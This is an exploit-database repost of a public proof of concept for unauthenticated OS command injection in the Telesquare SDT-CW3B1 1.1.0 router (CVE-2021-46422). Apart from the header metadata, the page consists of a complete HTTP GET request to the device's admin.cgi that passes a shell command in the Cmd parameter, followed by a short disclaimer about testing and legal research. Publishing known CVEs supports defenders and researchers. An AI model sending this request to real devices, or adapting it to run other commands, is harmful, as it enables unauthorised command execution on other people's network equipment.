SDT-CW3B1 1.1.0 Command Injection

CVE	Category	Price	Severity

Author	Risk	Exploitation Type	Date

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050067

Below is a copy:

SDT-CW3B1 1.1.0 Command Injection

# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
# Date: 2022-05-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# CVE : CVE-2021-46422

# Tested on: Windows

# HTTP Request
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: IP_HERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Referer: http:// IP_HERE /admin/system_command.shtml
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum